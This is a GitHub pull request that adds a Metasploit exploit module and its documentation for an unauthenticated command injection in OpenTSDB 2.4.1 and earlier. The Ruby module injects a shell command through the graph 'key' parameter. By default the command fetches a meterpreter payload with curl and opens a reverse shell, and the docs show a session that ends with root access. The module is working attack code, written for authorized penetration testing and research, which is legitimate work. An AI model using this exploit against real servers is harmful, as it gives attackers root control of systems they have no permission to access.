Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add opentsdb_key_cmd_injection exploit module and docs #18350

Merged
merged 2 commits into from
Sep 8, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
152 changes: 152 additions & 0 deletions documentation/modules/exploit/linux/http/opentsdb_key_cmd_injection.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
## Vulnerable Application
This module exploits an unauthenticated command injection vulnerability in OpenTSDB
through 2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve remote code execution as the root user.

The module first attempts to obtain the OpenTSDB version via the api. If the version is 2.4.1 or lower,
the module performs additional checks to obtain the configured metrics and aggregators.
It then randomly selects one metric and one aggregator and uses those to instruct the target server to plot a graph.
As part of this request, the key is set to the payload, which will then be executed by the target if the latter is vulnerable.

This module has been successfully tested against OpenTSDB version 2.4.1 running in Docker.

## Installation Information
### Manual Installation
For a manual installation, you can follow the official installation instructions [here](http://opentsdb.net/docs/build/html/installation.html).
This can be annoying though, so using Docker is recommended.

### Docker Installation
For version 2.4.0, you can use the vulhub Docker image and follow the installation instructions [here](https://github.com/vulhub/vulhub/tree/master/opentsdb/CVE-2020-35476).
That image was created for CVE-2020-35476, an older vulnerability in OpenTSDB through 2.4.0.

For any other version, you could leverage the vulhub image for OpenTSDB 2.4.0 and edit it to install the version you want. This approach was followed for 2.4.1.

Grab the vulhub OpenTSDB 2.4.0 `Dockerfile` and `docker-entrypoint.sh` from [here](https://github.com/vulhub/vulhub/tree/master/base/opentsdb/2.4.0) and store them in a dedicated directory.
In the `Dockerfile`, replace all instances for `2.4.0` with your desired version, e.g. `2.4.1`.
No edits are necessary for `docker-entrypoint.sh`.
Create a `docker-compose.yml` file with the following contents:
```yml
version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
```

Example file structure:
```
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh

wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
```

Finally, build and run the image via `docker-compose` by running the below command in the directory with you `docker-compose.yml` file:
```bash
docker-compose up -d
```

After a few seconds, OpenTSDB will be available on port 4242. No additional configuration is required.

## Verification Steps
1. Start `msfconsole`
1. Do: `use exploit/linux/http/opentsdb_key_cmd_injection`
1. Do: `set RHOSTS [IP]`
1. Do: `set LHOST [IP]`
1. Do: `set SRVHOST [IP]`
1. Do: `set FETCH_SRVHOST [IP]`
1. Do: `exploit`

## Options
### TARGETURI
The base path to OpenTSDB. The default value is `/`.

## Targets
```
Id Name
-- ----
0 Linux
```

## Scenarios
### OpenTSDB 2.4.1 - Linux target
```
msf6 exploit(linux/http/opentsdb_key_cmd_injection) > options

Module options (exploit/linux/http/opentsdb_key_cmd_injection):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 4242 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path to OpenTSDB
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host


When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME yr no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8081 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Linux



View the full module info with the info, or info -d command.

msf6 exploit(linux/http/opentsdb_key_cmd_injection) > run RHOSTS=127.0.0.1 LHOST=192.168.112.1

[*] Started reverse TCP handler on 192.168.112.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. The target is OpenTSDB version 2.4.1
[*] Identified 3 configured metrics. Using metric sys.cpu.idle
[*] Identified 35 configured aggregators. Using aggregator none
[*] Executing the payload
[*] Sending stage (3045380 bytes) to 192.168.112.1
[*] Meterpreter session 9 opened (192.168.112.1:4444 -> 192.168.112.1:61423) at 2023-09-08 14:32:05 +0100

meterpreter > getuid
Server username: root
meterpreter > pwd
/usr/share/opentsdb
```
237 changes: 237 additions & 0 deletions modules/exploits/linux/http/opentsdb_key_cmd_injection.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,237 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenTSDB 2.4.1 unauthenticated command injection',
'Description' => %q{
This module exploits an unauthenticated command injection
vulnerability in the key parameter in OpenTSDB through
2.4.1 (CVE-2023-36812/CVE-2023-25826) in order to achieve
unauthenticated remote code execution as the root user.

The module first attempts to obtain the OpenTSDB version via
the api. If the version is 2.4.1 or lower, the module
performs additional checks to obtain the configured metrics
and aggregators. It then randomly selects one metric and one
aggregator and uses those to instruct the target server to
plot a graph. As part of this request, the key parameter is
set to the payload, which will then be executed by the target
if the latter is vulnerable.

This module has been successfully tested against OpenTSDB
version 2.4.1.
},
'License' => MSF_LICENSE,
'Author' => [
'Gal Goldstein', # discovery
'Daniel Abeles', # discovery
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['URL', 'https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw'], # security advisory
['CVE', '2023-36812'], # CVE linked in the official security advisory
['CVE', '2023-25826'] # CVE that seems to be a dupe of CVE-2023-36812 since it describes the same issue and references the PR that introduces the commits that are referenced in CVE-2023-36812
],
'Platform' => 'linux',
'Arch' => 'ARCH_CMD',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'RPORT' => 4242,
'SRVPORT' => 8080,
'FETCH_COMMAND' => 'CURL',
'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4),
'FETCH_WRITABLE_DIR' => '/tmp',
'FETCH_SRVPORT' => 8081
},
'Targets' => [ [ 'Linux', {} ] ],
'DefaultTarget' => 0,
'Privileged' => true,
'DisclosureDate' => '2023-07-01',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)

register_options [
OptString.new('TARGETURI', [true, 'The base path to OpenTSDB', '/']),
]
end

def check
# sanity check to see if the target is likely OpenTSDB
res1 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})

unless res1
return CheckCode::Unknown('Connection failed.')
end

unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenTSDB')
return CheckCode::Safe('Target is not an OpenTSDB application.')
end

# get the version via the api
res2 = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'version')
})

unless res2
return CheckCode::Unknown('Connection failed.')
end

unless res2.code == 200 && res2.body.include?('version')
return CheckCode::Detected('Target may be OpenTSDB but the version could not be determined.')
end

begin
parsed_res_body = JSON.parse(res2.body)
rescue JSON::ParserError
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
end

unless parsed_res_body.is_a?(Hash) && parsed_res_body.key?('version')
return CheckCode::Detected('Could not determine the OpenTSDB version: the HTTP response body did not match the expected JSON format.')
end

version = parsed_res_body['version']

begin
if Rex::Version.new(version) <= Rex::Version.new('2.4.1')
return CheckCode::Appears("The target is OpenTSDB version #{version}")
else
return CheckCode::Safe("The target is OpenTSDB version #{version}")
end
rescue ArgumentError => e
return CheckCode::Unknown("Failed to obtain a valid OpenTSDB version: #{e}")
end
end

def select_metric
# check if any metrics have been configured. if not, exploitation cannot work
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'suggest'),
'vars_get' => { 'type' => 'metrics' }
})

unless res
fail_with(Failure::Unknown, 'Connection failed.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured metrics")
end

begin
metrics = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')
end

unless metrics.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')
end

if metrics.empty?
fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')
end

# select a random metric since any will do
@metric = metrics.sample
print_status("Identified #{metrics.length} configured metrics. Using metric #{@metric}")
end

def select_aggregator
# check the configured aggregators and select one at random
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'aggregators')
})

unless res
fail_with(Failure::Unknown, 'Connection failed.')
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, "Received unexpected status code #{res.code} when checking the configured aggregators")
end

begin
aggregators = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain valid JSON.')
end

unless aggregators.is_a?(Array)
fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured aggregators: The response body did not contain a JSON array')
end

if aggregators.empty?
fail_with(Failure::NoTarget, 'Failed to identify any configured aggregators. This makes exploitation impossible')
end

# select a random aggregator since any will do
@aggregator = aggregators.sample
print_status("Identified #{aggregators.length} configured aggregators. Using aggregator #{@aggregator}")
end

def execute_command(cmd, _opts = {})
# we need to percent encode the entire command.
# however, the + character cannot be used and percent encoding does not help for it. so we need to change chmod +x with chmod 744
cmd = CGI.escape(cmd.gsub('chmod +x', 'chmod 744'))
start_time = rand(20.year.ago..10.year.ago) # this should be a date far enough in the past to make sure we capture all possible data
start_value = start_time.strftime('%Y/%m/%d-%H:%M:%S')
end_time = rand(1.year.since..10.year.since) # this can be a date in the future to make sure we capture all possible data
end_value = end_time.strftime('%Y/%m/%d-%H:%M:%S')
get_vars = {
'start' => start_value,
'end' => end_value,
'm' => "#{@aggregator}:#{@metric}",
'o' => 'axis+x1y2',
'ylabel' => Rex::Text.rand_text_alphanumeric(8..12),
'y2label' => Rex::Text.rand_text_alphanumeric(8..12),
'yrange' => '[0:]',
'y2range' => '[0:]',
'key' => "%3Bsystem%20%22#{cmd}%22%20%22",
'wxh' => "#{rand(800..1600)}x#{rand(400..600)}",
'style' => 'linespoint'
}

exploit_uri = '?'
get_vars.each do |key, value|
exploit_uri += "#{key}=#{value}&"
end
exploit_uri += 'json'

# using a raw request because cgi was leading to encoding issues
send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'q' + exploit_uri)
}, 0) # we don't have to wait for a reply here
end

def exploit
select_metric
select_aggregator
print_status('Executing the payload')
execute_command(payload.encoded)
end
end